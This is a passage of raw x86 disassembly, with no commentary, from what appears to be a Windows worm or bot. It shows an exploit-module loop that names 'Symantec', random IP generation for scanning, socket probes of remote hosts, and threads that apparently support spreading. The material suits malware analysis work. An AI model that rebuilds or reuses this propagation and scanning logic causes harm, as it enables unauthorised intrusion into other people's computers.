		call	sub_4151AC
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B64A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B719	proc near		; CODE XREF: sub_401ACD+2ADFp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CDAB0
		mov	ecx, dword_4CDAAC
		push	esi
		push	dword_4CACE4
		lea	esi, [ecx+eax]
		call	sub_41A88B
		pop	ecx
		push	eax
		push	esi
		push	dword_4CDAB0
		lea	eax, [ebp+var_200]
		push	dword_4CDAAC
		push	offset unk_4317F4
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B719	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B785	proc near		; CODE XREF: sub_401ACD+2AC9p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CACE4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CDCF4
		push	offset unk_43183C
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 28h
		leave
		retn
sub_40B785	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7DA	proc near		; CODE XREF: sub_401ACD+2AB3p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431888
		push	eax
		call	sub_41B886
		cmp	dword_431438, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40B846
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"

loc_40B80F:				; CODE XREF: sub_40B7DA+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431878
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40B80F
		pop	esi

loc_40B846:				; CODE XREF: sub_40B7DA+2Dj
		push	dword_4CACE4
		call	sub_41A88B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40B7DA	endp

; ---------------------------------------------------------------------------
byte_40B8A1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+30E0o
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4CAFE4
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_431438, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BA03
		mov	ebx, offset dword_431438
		mov	eax, ebx

loc_40B8F2:				; CODE XREF: ___:0040B9FDj
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C087
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40B9F3
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_4318D8
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40B98E
		lea	eax, [ebp-124h]

loc_40B98E:				; CODE XREF: ___:0040B986j
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41B886
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi

loc_40B9F3:				; CODE XREF: ___:0040B905j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40B8F2

loc_40BA03:				; CODE XREF: ___:0040B8E5j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_4318A4
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409A72
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_4151AC
		push	dword ptr [ebp-18h]
		call	sub_40B412
		add	esp, 2Ch
		push	edi
; ---------------------------------------------------------------------------
		dd 2C45ABE8h
		db 2, 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA56	proc near		; CODE XREF: sub_401ACD+244Ep

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_40BA92
		mov	eax, [ebp+arg_C]
		push	dword_4CB0F0[eax*8]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431928
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40BAA5
; ---------------------------------------------------------------------------

loc_40BA92:				; CODE XREF: sub_40BA56+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431908
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40BAA5:				; CODE XREF: sub_40BA56+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 18h
		leave
		retn
sub_40BA56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BACD	proc near		; CODE XREF: sub_40C124+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40BF9F
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431444[eax], ebx
		jz	loc_40BF9F
		push	5
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BD54
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CD1AC
		push	104h
		push	esi
		push	ebx
		mov	dword_4CD3BC, eax
		mov	dword_4CD3B8, ebx
		nop
		call	near ptr 2660000h
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CD2B0
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD1A8, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CD440, eax
		jnz	short loc_40BB80
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD3C0
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD444, 1
		jmp	short loc_40BB9A
; ---------------------------------------------------------------------------

loc_40BB80:				; CODE XREF: sub_40BACD+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD3C0
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD444, ebx

loc_40BB9A:				; CODE XREF: sub_40BACD+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD3BC
		push	offset unk_42BE8C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD3B4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD1A8
		push	offset word_411796
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, dword_4CD3B4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40BC08

loc_40BBF6:				; CODE XREF: sub_40BACD+139j
		cmp	dword_4CD448, ebx
		jnz	short loc_40BC23
		push	32h
		call	near ptr 2670580h
		nop
		jmp	short loc_40BBF6
; ---------------------------------------------------------------------------

loc_40BC08:				; CODE XREF: sub_40BACD+127j
		call	near ptr 2670E9Dh
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431A48
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BC23:				; CODE XREF: sub_40BACD+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		mov	eax, dword_4CACE0
		mov	esi, offset dword_4CD454
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CD664, eax
		mov	dword_4CD660, ebx
		nop
		call	near ptr 2660000h
		push	103h
		push	edi
		push	offset dword_4CD558
		call	sub_41B5F0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CD450, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CD6E8, eax
		push	7Fh
		jnz	short loc_40BCA4
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD668
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6EC, 1
		jmp	short loc_40BCBE
; ---------------------------------------------------------------------------

loc_40BCA4:				; CODE XREF: sub_40BACD+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD668
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD6EC, ebx

loc_40BCBE:				; CODE XREF: sub_40BACD+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CD664
		push	offset unk_431A14
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	dword_4CD65C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD450
		push	offset byte_40E991
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, dword_4CD65C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40BD2C

loc_40BD1A:				; CODE XREF: sub_40BACD+25Dj
		cmp	dword_4CD6F0, ebx
		jnz	short loc_40BD47
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_40BD1A
; ---------------------------------------------------------------------------

loc_40BD2C:				; CODE XREF: sub_40BACD+24Bj
		call	near ptr 2670E9Dh
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_4319E0
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BD47:				; CODE XREF: sub_40BACD+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40BD54:				; CODE XREF: sub_40BACD+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43144C[ecx], ebx
		jz	loc_40BE7D
		push	7
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BE77
		mov	eax, dword_4CDCEC
		cmp	[ebp+arg_90], bl
		mov	dword_4CD114, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CD108, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CD110, ebx
		mov	dword_4CD198, eax
		push	7Fh
		jnz	short loc_40BDC8
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD118
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD19C, 1
		jmp	short loc_40BDE2
; ---------------------------------------------------------------------------

loc_40BDC8:				; CODE XREF: sub_40BACD+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CD118
		call	sub_41B5F0
		add	esp, 0Ch
		mov	dword_4CD19C, ebx

loc_40BDE2:				; CODE XREF: sub_40BACD+2F9j
		push	dword_4CD114
		lea	eax, [ebp+var_204]
		push	offset unk_4319B0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	dword_4CD10C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD108
		push	offset byte_40E6EF
		push	ebx
		push	ebx
		call	near ptr 2670604h
		nop
		mov	ecx, dword_4CD10C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40BE4F

loc_40BE3D:				; CODE XREF: sub_40BACD+380j
		cmp	dword_4CD1A0, ebx
		jnz	short loc_40BE6A
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_40BE3D
; ---------------------------------------------------------------------------

loc_40BE4F:				; CODE XREF: sub_40BACD+36Ej
		call	near ptr 2670E9Dh
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431978
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BE6A:				; CODE XREF: sub_40BACD+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40BE77:				; CODE XREF: sub_40BACD+2A8j
		mov	eax, [ebp+arg_130]

loc_40BE7D:				; CODE XREF: sub_40BACD+298j
		shl	eax, 6
		cmp	dword_431448[eax], ebx
		jz	loc_40BF9F
		push	3
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_40BF9F
		mov	esi, offset dword_4CD984
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2660000h
		push	5Ch
		push	esi
		call	sub_41BE40
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40BEBE
		mov	[eax], bl

loc_40BEBE:				; CODE XREF: sub_40BACD+3EDj
		mov	eax, dword_42907C
		mov	dword_4CDA9C, ebx
		mov	dword_4CDA88, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CD6FC
		call	sub_41B886
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CD6F8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CDA88
		mov	dword_4CDA94, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CDA98, ecx
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42BE14
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B0F6
		add	esp, 20h
		mov	dword_4CDA90, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CD6F8
		push	offset sub_40F0D5
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		mov	ecx, dword_4CDA90
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_40BF77

loc_40BF65:				; CODE XREF: sub_40BACD+4A8j
		cmp	dword_4CDAA4, ebx
		jnz	short loc_40BF92
		push	32h
		nop
		call	near ptr 2670580h
		jmp	short loc_40BF65
; ---------------------------------------------------------------------------

loc_40BF77:				; CODE XREF: sub_40BACD+496j
		nop
		call	near ptr 2670E9Dh
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431944
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_40BF92:				; CODE XREF: sub_40BACD+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_40BF9F:				; CODE XREF: sub_40BACD+14j
					; sub_40BACD+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFA3	proc near		; CODE XREF: sub_40C124:loc_40C195p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CB0F0h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CAECC
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CAFA0
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40BFA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BFEB	proc near		; CODE XREF: sub_40C124+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41AFE0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C013
		xor	eax, eax
		jmp	short loc_40C084
; ---------------------------------------------------------------------------

loc_40C013:				; CODE XREF: sub_40BFEB+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41C645
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C040
		call	sub_41B8E2
		mov	[ebp+var_C], eax

loc_40C040:				; CODE XREF: sub_40BFEB+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C04D
		call	sub_41B8E2
		mov	[ebp+var_8], eax

loc_40C04D:				; CODE XREF: sub_40BFEB+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C05A
		call	sub_41B8E2
		mov	[ebp+var_4], eax

loc_40C05A:				; CODE XREF: sub_40BFEB+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C066
		call	sub_41B8E2

loc_40C066:				; CODE XREF: sub_40BFEB+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CB0F0[ecx*8], eax

loc_40C084:				; CODE XREF: sub_40BFEB+26j
		pop	esi
		leave
		retn
sub_40BFEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C087	proc near		; CODE XREF: ___:0040B8FAp
					; sub_40C124+BBp

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CB024
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C0B0
		xor	eax, eax
		jmp	short loc_40C11F
; ---------------------------------------------------------------------------

loc_40C0B0:				; CODE XREF: sub_40C087+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CAFA4
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB040
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CAF4C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CAF8C
		push	esi
		mov	edi, eax
		call	dword_4CB03C
		xor	eax, eax
		cmp	edi, ebx
		setnle	al

loc_40C11F:				; CODE XREF: sub_40C087+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C124	proc near		; DATA XREF: sub_40C124+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 2680CD4h
		push	eax
		call	sub_41B8D8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h

loc_40C16B:				; CODE XREF: sub_40C124+204j
		mov	eax, dword_43DEE4[ebx]
		cmp	dword_4CB0F4[eax*8], 0
		jz	loc_40C32D
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C195
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40BFEB
		pop	ecx
		jmp	short loc_40C19A
; ---------------------------------------------------------------------------

loc_40C195:				; CODE XREF: sub_40C124+60j
		call	sub_40BFA3

loc_40C19A:				; CODE XREF: sub_40C124+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43DEE4[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431AA4
		push	eax
		call	sub_41B886
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43DCE0[ebx]
		push	eax
		call	sub_41B886
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C087
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C31D
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C271
		push	offset dword_4CD0F0
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431A7C
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C253
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C247
		lea	eax, [ebp+var_140]

loc_40C247:				; CODE XREF: sub_40C124+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409A72
		add	esp, 14h

loc_40C253:				; CODE XREF: sub_40C124+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4151AC
		mov	[esp+29Ch+var_29C], offset dword_4CD0F0
		call	near ptr 77F7E300h
		nop
		jmp	loc_40C31D
; ---------------------------------------------------------------------------

loc_40C271:				; CODE XREF: sub_40C124+D0j
		push	edi
		call	dword_4CB030
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C2B6
		lea	eax, [ebp+var_140]

loc_40C2B6:				; CODE XREF: sub_40C124+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41B886
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_43143C[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh

loc_40C31D:				; CODE XREF: sub_40C124+C6j
					; sub_40C124+148j
		push	7D0h
		nop
		call	near ptr 2670580h
		jmp	loc_40C16B
; ---------------------------------------------------------------------------

loc_40C32D:				; CODE XREF: sub_40C124+55j
		push	esi
		call	sub_40B412
		pop	ecx
		push	0
		call	near ptr 26D0000h
		nop

loc_40C33C:				; DATA XREF: sub_401ACD+1F81o
					; sub_401ACD+5C48o
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CAFE4
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CB0F0[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BACD
		push	0Bh
		call	sub_40B33E
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C40A
		mov	esi, offset dword_4CD0F0
		push	esi
		nop
		call	near ptr 26D07EDh
		push	80000400h
		push	esi
		nop
		call	near ptr 26D0660h
		test	eax, eax
		jnz	short loc_40C40A
		lea	eax, [ebp+var_1CC]
		push	offset unk_431B88
		push	eax
		call	sub_41B886
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C3F4
		push	ebx
		lea	eax, [ebp+var_1CC]
